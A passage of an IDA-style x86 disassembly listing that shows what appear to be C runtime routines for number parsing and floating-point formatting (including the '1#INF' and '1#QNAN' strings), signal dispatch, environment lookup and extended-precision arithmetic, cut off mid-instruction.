loc_425223: ; CODE XREF: sub_4250CD+143j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425231: ; CODE XREF: sub_4250CD+154j test eax, eax jz short loc_425253 cmp [ebp+var_4], 19h jnb short loc_42524B mov eax, [ebp+var_C] inc [ebp+var_4] loc_425241: ; DATA XREF: ___:off_4384E0o sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_42524E ; --------------------------------------------------------------------------- loc_42524B: ; CODE XREF: sub_4250CD+16Cj inc [ebp+var_8] loc_42524E: ; CODE XREF: sub_4250CD+17Cj mov bl, [edi] inc edi jmp short loc_42520A ; --------------------------------------------------------------------------- loc_425253: ; CODE XREF: sub_4250CD+166j cmp bl, byte_43A890 jnz short loc_4252C2 loc_42525B: ; CODE XREF: sub_4250CD+CCj mov eax, esi jmp loc_425124 ; --------------------------------------------------------------------------- loc_425262: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp [ebp+var_4], 0 ; jumptable 00425130 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42527B loc_42526E: ; CODE XREF: sub_4250CD+1ACj cmp bl, 30h jnz short loc_42527B dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_42526E ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4250CD+19Fj ; sub_4250CD+1A4j ... cmp dword_43A88C, edx jle short loc_425294 movzx eax, bl push esi push eax call sub_41F44A pop ecx pop ecx push 1 pop edx jmp short loc_4252A2 ; --------------------------------------------------------------------------- loc_425294: ; CODE XREF: sub_4250CD+1B4j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4252A2: ; CODE XREF: sub_4250CD+1C5j test eax, eax jz short loc_4252C2 cmp [ebp+var_4], 19h jnb short loc_4252BD mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4252BD: ; CODE XREF: sub_4250CD+1DDj mov bl, [edi] inc edi jmp short loc_42527B ; --------------------------------------------------------------------------- loc_4252C2: ; CODE XREF: sub_4250CD+18Cj ; sub_4250CD+1D7j cmp bl, 2Bh jz loc_4251D5 cmp bl, 2Dh jz loc_4251D5 jmp loc_4251AE ; --------------------------------------------------------------------------- loc_4252D9: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp dword_43A88C, edx ; jumptable 00425130 case 5 mov [ebp+var_24], edx jle short loc_4252F5 movzx eax, bl push esi push eax call sub_41F44A pop ecx pop ecx push 1 pop edx jmp short loc_425303 ; --------------------------------------------------------------------------- loc_4252F5: ; CODE XREF: sub_4250CD+215j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425303: ; CODE XREF: sub_4250CD+226j test eax, eax jz loc_4253B5 mov eax, esi jmp short loc_425366 ; --------------------------------------------------------------------------- loc_42530F: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo lea ecx, [edi-2] ; jumptable 00425130 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42531F cmp bl, 39h jle short loc_425363 loc_42531F: ; CODE XREF: sub_4250CD+24Bj movsx eax, bl sub eax, 2Bh jz short loc_42539B dec eax dec eax jz short loc_42538F sub eax, 3 jnz loc_425443 loc_425334: ; CODE XREF: sub_4250CD+2A4j push 8 jmp short loc_42539D ; --------------------------------------------------------------------------- loc_425338: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo mov [ebp+var_20], edx ; jumptable 00425130 case 8 loc_42533B: ; CODE XREF: sub_4250CD+276j cmp bl, 30h jnz short loc_425345 mov bl, [edi] inc edi jmp short loc_42533B ; --------------------------------------------------------------------------- loc_425345: ; CODE XREF: sub_4250CD+271j cmp bl, 31h jl loc_425440 cmp bl, 39h jg loc_425440 jmp short loc_425363 ; --------------------------------------------------------------------------- loc_425359: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp bl, 31h ; jumptable 00425130 case 7 jl short loc_42536C cmp bl, 39h jg short loc_42536C loc_425363: ; CODE XREF: sub_4250CD+250j ; sub_4250CD+28Aj push 9 loc_425365: ; CODE XREF: sub_4250CD+76j pop eax loc_425366: ; CODE XREF: sub_4250CD+240j dec edi jmp loc_425124 ; --------------------------------------------------------------------------- loc_42536C: ; CODE XREF: sub_4250CD+28Fj ; sub_4250CD+294j cmp bl, 30h jnz short loc_4253B5 jmp short loc_425334 ; --------------------------------------------------------------------------- loc_425373: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp [ebp+arg_18], 0 ; jumptable 00425130 case 11 jz short loc_4253A3 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_42539B dec eax dec eax jnz loc_425443 loc_42538F: ; CODE XREF: sub_4250CD+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425124 ; --------------------------------------------------------------------------- loc_42539B: ; CODE XREF: sub_4250CD+258j ; sub_4250CD+2B8j push 7 loc_42539D: ; CODE XREF: sub_4250CD+85j ; sub_4250CD+103j ... pop eax jmp loc_425124 ; --------------------------------------------------------------------------- loc_4253A3: ; CODE XREF: sub_4250CD+2AAj push 0Ah dec edi pop eax loc_4253A7: ; CODE XREF: sub_4250CD+5Dj ; sub_4250CD+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425130 case 10 jz loc_425445 jmp loc_425124 ; --------------------------------------------------------------------------- loc_4253B5: ; CODE XREF: sub_4250CD+12Dj ; sub_4250CD+238j ... mov edi, [ebp+arg_8] jmp loc_425445 ; --------------------------------------------------------------------------- loc_4253BD: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo mov [ebp+var_20], 1 ; jumptable 00425130 case 9 xor esi, esi loc_4253C6: ; CODE XREF: sub_4250CD+339j cmp dword_43A88C, 1 jle short loc_4253DE movzx eax, bl push 4 push eax call sub_41F44A pop ecx pop ecx jmp short loc_4253ED ; --------------------------------------------------------------------------- loc_4253DE: ; CODE XREF: sub_4250CD+300j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4253ED: ; CODE XREF: sub_4250CD+30Fj test eax, eax jz short loc_42540D movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_425408 mov bl, [edi] inc edi jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_425408: ; CODE XREF: sub_4250CD+334j mov esi, 1451h loc_42540D: ; CODE XREF: sub_4250CD+322j mov [ebp+var_1C], esi loc_425410: ; CODE XREF: sub_4250CD+371j cmp dword_43A88C, 1 jle short loc_425428 movzx eax, bl push 4 push eax call sub_41F44A pop ecx pop ecx jmp short loc_425437 ; --------------------------------------------------------------------------- loc_425428: ; CODE XREF: sub_4250CD+34Aj mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425437: ; CODE XREF: sub_4250CD+359j test eax, eax jz short loc_425440 mov bl, [edi] inc edi jmp short loc_425410 ; --------------------------------------------------------------------------- loc_425440: ; CODE XREF: sub_4250CD+99j ; sub_4250CD+E4j ... dec edi jmp short loc_425445 ; --------------------------------------------------------------------------- loc_425443: ; CODE XREF: sub_4250CD+261j ; sub_4250CD+2BCj mov edi, ecx loc_425445: ; CODE XREF: sub_4250CD+2DDj ; sub_4250CD+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_42552D push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425471 cmp [ebp+var_45], 5 jl short loc_425465 inc [ebp+var_45] loc_425465: ; CODE XREF: sub_4250CD+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425474 ; --------------------------------------------------------------------------- loc_425471: ; CODE XREF: sub_4250CD+38Dj mov eax, [ebp+var_C] loc_425474: ; CODE XREF: sub_4250CD+3A2j cmp [ebp+var_4], 0 jbe loc_425523 loc_42547E: ; CODE XREF: sub_4250CD+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_42548C dec [ebp+var_4] inc [ebp+var_8] jmp short loc_42547E ; --------------------------------------------------------------------------- loc_42548C: ; CODE XREF: sub_4250CD+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_425006 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4254AB neg eax loc_4254AB: ; CODE XREF: sub_4250CD+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4254B6 add eax, [ebp+arg_10] loc_4254B6: ; CODE XREF: sub_4250CD+3E4j cmp [ebp+var_24], ecx jnz short loc_4254BE sub eax, [ebp+arg_14] loc_4254BE: ; CODE XREF: sub_4250CD+3ECj cmp eax, 1450h jle short loc_4254F5 mov [ebp+var_2C], 1 loc_4254CC: ; CODE XREF: sub_4250CD+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4254D8: ; CODE XREF: sub_4250CD+454j ; sub_4250CD+45Ej cmp [ebp+var_2C], 0 jz short loc_42553E xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425553 ; --------------------------------------------------------------------------- loc_4254F5: ; CODE XREF: sub_4250CD+3F6j cmp eax, 0FFFFEBB0h jge short loc_425505 mov [ebp+var_30], 1 jmp short loc_4254CC ; --------------------------------------------------------------------------- loc_425505: ; CODE XREF: sub_4250CD+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425CB6 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4254D8 ; --------------------------------------------------------------------------- loc_425523: ; CODE XREF: sub_4250CD+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4254D8 ; --------------------------------------------------------------------------- loc_42552D: ; CODE XREF: sub_4250CD+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425553 ; --------------------------------------------------------------------------- loc_42553E: ; CODE XREF: sub_4250CD+40Fj cmp [ebp+var_30], 0 jz short loc_425553 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425553: ; CODE XREF: sub_4250CD+426j ; sub_4250CD+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4250CD endp ; --------------------------------------------------------------------------- off_42556E dd offset loc_425137 ; DATA XREF: sub_4250CD+63r dd offset loc_425186 ; jump table for switch statement dd offset loc_4251DD dd offset loc_425207 dd offset loc_425262 dd offset loc_4252D9 dd offset loc_42530F dd offset loc_425359 dd offset loc_425338 dd offset loc_4253BD dd offset loc_4253A7 dd offset loc_425373 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42559E proc near ; CODE XREF: sub_4244F9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425600 mov byte ptr [ebx+2], 2Dh jmp short loc_425604 ; --------------------------------------------------------------------------- loc_425600: ; CODE XREF: sub_42559E+5Aj mov byte ptr [ebx+2], 20h loc_425604: ; CODE XREF: sub_42559E+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42562A test edi, edi jnz short loc_42562A cmp [ebp+arg_0], edi jnz short loc_42562A loc_425615: ; CODE XREF: sub_42559E+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_425828 ; --------------------------------------------------------------------------- loc_42562A: ; CODE XREF: sub_42559E+6Cj ; sub_42559E+70j ... cmp dx, si jnz short loc_4256A9 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425643 cmp [ebp+arg_0], 0 jz short loc_425652 loc_425643: ; CODE XREF: sub_42559E+9Dj test edi, 40000000h jnz short loc_425652 push offset a1Snan ; "1#SNAN" jmp short loc_425698 ; --------------------------------------------------------------------------- loc_425652: ; CODE XREF: sub_42559E+A3j ; sub_42559E+ABj test cx, cx jz short loc_42566C cmp edi, 0C0000000h jnz short loc_42566C cmp [ebp+arg_0], 0 jnz short loc_425693 push offset a1Ind ; "1#IND" jmp short loc_42567B ; --------------------------------------------------------------------------- loc_42566C: ; CODE XREF: sub_42559E+B7j ; sub_42559E+BFj cmp edi, eax jnz short loc_425693 cmp [ebp+arg_0], 0 jnz short loc_425693 push offset a1Inf ; "1#INF" loc_42567B: ; CODE XREF: sub_42559E+CCj lea eax, [ebx+4] push eax call sub_41C620 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_42568A: ; CODE XREF: sub_42559E+109j and [ebp+var_4], 0 jmp loc_425801 ; --------------------------------------------------------------------------- loc_425693: ; CODE XREF: sub_42559E+C5j ; sub_42559E+D0j ... push offset a1Qnan ; "1#QNAN" loc_425698: ; CODE XREF: sub_42559E+B2j lea eax, [ebx+4] push eax call sub_41C620 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_42568A ; --------------------------------------------------------------------------- loc_4256A9: ; CODE XREF: sub_42559E+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425CB6 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42570A lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425A96 pop ecx pop ecx loc_42570A: ; CODE XREF: sub_42559E+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425724 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_425727 jmp loc_425615 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_42559E+173j mov edi, [ebp+arg_C] loc_425727: ; CODE XREF: sub_42559E+17Fj cmp edi, 15h jle short loc_42572F push 15h pop edi loc_42572F: ; CODE XREF: sub_42559E+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425745: ; CODE XREF: sub_42559E+1B4j lea eax, [ebp+var_10] push eax call sub_424FAB dec [ebp+arg_14] pop ecx jnz short loc_425745 test esi, esi jge short loc_42576F neg esi and esi, 0FFh jle short loc_42576F loc_425762: ; CODE XREF: sub_42559E+1CFj lea eax, [ebp+var_10] push eax call sub_424FD9 dec esi pop ecx jnz short loc_425762 loc_42576F: ; CODE XREF: sub_42559E+1B8j ; sub_42559E+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4257CC mov [ebp+arg_C], ecx loc_42577F: ; CODE XREF: sub_42559E+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_424FAB lea eax, [ebp+var_10] push eax call sub_424FAB lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_424F4D lea eax, [ebp+var_10] push eax call sub_424FAB mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_42577F mov eax, [ebp+arg_14] loc_4257CC: ; CODE XREF: sub_42559E+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425809 loc_4257D9: ; CODE XREF: sub_42559E+248j cmp eax, ecx jb short loc_4257EC cmp byte ptr [eax], 39h jnz short loc_4257E8 mov byte ptr [eax], 30h dec eax jmp short loc_4257D9 ; --------------------------------------------------------------------------- loc_4257E8: ; CODE XREF: sub_42559E+242j cmp eax, ecx jnb short loc_4257F0 loc_4257EC: ; CODE XREF: sub_42559E+23Dj inc eax inc word ptr [ebx] loc_4257F0: ; CODE XREF: sub_42559E+24Cj inc byte ptr [eax] loc_4257F2: ; CODE XREF: sub_42559E+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425801: ; CODE XREF: sub_42559E+F0j mov eax, [ebp+var_4] loc_425804: ; CODE XREF: sub_42559E+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425809: ; CODE XREF: sub_42559E+239j ; sub_42559E+275j cmp eax, ecx jb short loc_425819 cmp byte ptr [eax], 30h jnz short loc_425815 dec eax jmp short loc_425809 ; --------------------------------------------------------------------------- loc_425815: ; CODE XREF: sub_42559E+272j cmp eax, ecx jnb short loc_4257F2 loc_425819: ; CODE XREF: sub_42559E+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_425828: ; CODE XREF: sub_42559E+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425804 sub_42559E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425831 proc near ; CODE XREF: sub_42249C+223Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_425898 dec eax dec eax jz short loc_425889 sub eax, 4 jz short loc_425889 sub eax, 3 jz short loc_425889 sub eax, 4 jz short loc_42587C sub eax, 6 jz short loc_42586F dec eax jz short loc_425862 or eax, 0FFFFFFFFh jmp loc_42595A ; --------------------------------------------------------------------------- loc_425862: ; CODE XREF: sub_425831+27j mov esi, dword_4D9A14 mov eax, offset dword_4D9A14 jmp short loc_4258A3 ; --------------------------------------------------------------------------- loc_42586F: ; CODE XREF: sub_425831+24j mov esi, dword_4D9A10 mov eax, offset dword_4D9A10 jmp short loc_4258A3 ; --------------------------------------------------------------------------- loc_42587C: ; CODE XREF: sub_425831+1Fj mov esi, dword_4D9A18 mov eax, offset dword_4D9A18 jmp short loc_4258A3 ; --------------------------------------------------------------------------- loc_425889: ; CODE XREF: sub_425831+10j ; sub_425831+15j ... push edi call sub_42595E mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4258A3 ; --------------------------------------------------------------------------- loc_425898: ; CODE XREF: sub_425831+Cj mov esi, dword_4D9A0C mov eax, offset dword_4D9A0C loc_4258A3: ; CODE XREF: sub_425831+3Cj ; sub_425831+49j ... cmp esi, 1 jnz short loc_4258AF xor eax, eax jmp loc_42595A ; --------------------------------------------------------------------------- loc_4258AF: ; CODE XREF: sub_425831+75j test esi, esi jnz short loc_4258BA push 3 call sub_41BF42 loc_4258BA: ; CODE XREF: sub_425831+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4258CC cmp edi, 0Bh jz short loc_4258CC cmp edi, 4 jnz short loc_4258F2 loc_4258CC: ; CODE XREF: sub_425831+8Fj ; sub_425831+94j mov ebx, dword_4D97EC and dword_4D97EC, 0 cmp edi, ecx jnz short loc_425921 mov edx, dword_43ACDC mov dword_43ACDC, 8Ch mov [ebp+arg_0], edx jmp short loc_4258F5 ; --------------------------------------------------------------------------- loc_4258F2: ; CODE XREF: sub_425831+99j mov ebx, [ebp+arg_0] loc_4258F5: ; CODE XREF: sub_425831+BFj cmp edi, ecx jnz short loc_425921 mov eax, dword_43ACD0 mov ecx, dword_43ACD4 add ecx, eax cmp eax, ecx jge short loc_425928 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43AC60h[edx*4] loc_425916: ; CODE XREF: sub_425831+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425916 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_425921: ; CODE XREF: sub_425831+AAj ; sub_425831+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425936 loc_425928: ; CODE XREF: sub_425831+D7j ; sub_425831+EEj push dword_43ACDC push 8 call esi pop ecx pop ecx jmp short loc_425944 ; --------------------------------------------------------------------------- loc_425936: ; CODE XREF: sub_425831+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425944 cmp edi, 4 jnz short loc_425957 loc_425944: ; CODE XREF: sub_425831+103j ; sub_425831+10Cj cmp edi, 8 mov dword_4D97EC, ebx jnz short loc_425957 mov eax, [ebp+arg_0] mov dword_43ACDC, eax loc_425957: ; CODE XREF: sub_425831+111j ; sub_425831+11Cj xor eax, eax pop ebx loc_42595A: ; CODE XREF: sub_425831+2Cj ; sub_425831+79j pop edi pop esi pop ebp retn sub_425831 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42595E proc near ; CODE XREF: sub_425831+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43ACD8 cmp dword_43AC5C, edx push esi mov eax, offset dword_43AC58 jz short loc_42598C lea esi, [ecx+ecx*2] lea esi, ds:43AC58h[esi*4] loc_425980: ; CODE XREF: sub_42595E+2Cj add eax, 0Ch cmp eax, esi jnb short loc_42598C cmp [eax+4], edx jnz short loc_425980 loc_42598C: ; CODE XREF: sub_42595E+16j ; sub_42595E+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43AC58h[ecx*4] cmp eax, ecx jnb short loc_4259A0 cmp [eax+4], edx jz short locret_4259A2 loc_4259A0: ; CODE XREF: sub_42595E+3Bj xor eax, eax locret_4259A2: ; CODE XREF: sub_42595E+40j retn sub_42595E endp ; =============== S U B R O U T I N E ======================================= sub_4259A3 proc near ; CODE XREF: sub_4246FC+23p arg_0 = dword ptr 4 cmp dword_4DADA8, 0 push ebx push esi mov esi, dword_4D973C push edi jz short loc_425A1A test esi, esi jnz short loc_4259D4 cmp dword_4D9744, esi jz short loc_425A1A call sub_425D71 test eax, eax jnz short loc_425A1A mov esi, dword_4D973C test esi, esi jz short loc_425A1A loc_4259D4: ; CODE XREF: sub_4259A3+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425A1A push ebx call sub_41B960 pop ecx mov edi, eax loc_4259E5: ; CODE XREF: sub_4259A3+6Dj mov eax, [esi] test eax, eax jz short loc_425A1A push eax call sub_41B960 cmp eax, edi pop ecx jbe short loc_425A0D mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425A0D push edi push ebx push eax call sub_425D32 add esp, 0Ch test eax, eax jz short loc_425A12 loc_425A0D: ; CODE XREF: sub_4259A3+51j ; sub_4259A3+59j add esi, 4 jmp short loc_4259E5 ; --------------------------------------------------------------------------- loc_425A12: ; CODE XREF: sub_4259A3+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425A1C ; --------------------------------------------------------------------------- loc_425A1A: ; CODE XREF: sub_4259A3+10j ; sub_4259A3+1Cj ... xor eax, eax loc_425A1C: ; CODE XREF: sub_4259A3+75j pop edi pop esi pop ebx retn sub_4259A3 endp ; =============== S U B R O U T I N E ======================================= sub_425A20 proc near ; CODE XREF: sub_424DE6+8Bp ; sub_424DE6+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DAB60 jnb short loc_425A87 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DAA60[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425A87 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425A60 and cl, 7Fh jmp short loc_425A6D ; --------------------------------------------------------------------------- loc_425A60: ; CODE XREF: sub_425A20+39j cmp [esp+4+arg_4], 4000h jnz short loc_425A7B or cl, 80h loc_425A6D: ; CODE XREF: sub_425A20+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425A7B: ; CODE XREF: sub_425A20+48j mov dword_4D9714, 16h jmp short loc_425A91 ; --------------------------------------------------------------------------- loc_425A87: ; CODE XREF: sub_425A20+Bj ; sub_425A20+27j mov dword_4D9714, 9 loc_425A91: ; CODE XREF: sub_425A20+65j or eax, 0FFFFFFFFh pop esi retn sub_425A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425A96 proc near ; CODE XREF: sub_42559E+165p ; sub_425CB6+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425C96 cmp cx, 7FFFh jnb loc_425C96 cmp dx, 0BFFDh ja loc_425C96 cmp dx, 3FBFh ja short loc_425AFF xor eax, eax jmp short loc_425B39 ; --------------------------------------------------------------------------- loc_425AFF: ; CODE XREF: sub_425A96+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425B21 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425B21 xor eax, eax cmp [esi+4], eax jnz short loc_425B23 cmp [esi], eax jnz short loc_425B23 jmp loc_425C90 ; --------------------------------------------------------------------------- loc_425B21: ; CODE XREF: sub_425A96+71j ; sub_425A96+79j xor eax, eax loc_425B23: ; CODE XREF: sub_425A96+80j ; sub_425A96+84j cmp cx, ax jnz short loc_425B46 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425B46 cmp [ebx+4], eax jnz short loc_425B46 cmp [ebx], eax jnz short loc_425B46 loc_425B39: ; CODE XREF: sub_425A96+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425CB1 ; --------------------------------------------------------------------------- loc_425B46: ; CODE XREF: sub_425A96+90j ; sub_425A96+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425B56: ; CODE XREF: sub_425A96+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425BAA add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425B72: ; CODE XREF: sub_425A96+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_424F2C add esp, 0Ch test eax, eax jz short loc_425B9D mov eax, [ebp+var_4] inc word ptr [eax] loc_425B9D: ; CODE XREF: sub_425A96+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425B72 loc_425BAA: ; CODE XREF: sub_425A96+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425B56 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425BED loc_425BC8: ; CODE XREF: sub_425A96+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425BE6 lea eax, [ebp+var_24] push eax call sub_424FAB add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425BC8 loc_425BE6: ; CODE XREF: sub_425A96+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425C26 loc_425BED: ; CODE XREF: sub_425A96+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425C26 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425C06: ; CODE XREF: sub_425A96+184j test byte ptr [ebp+var_24], 1 jz short 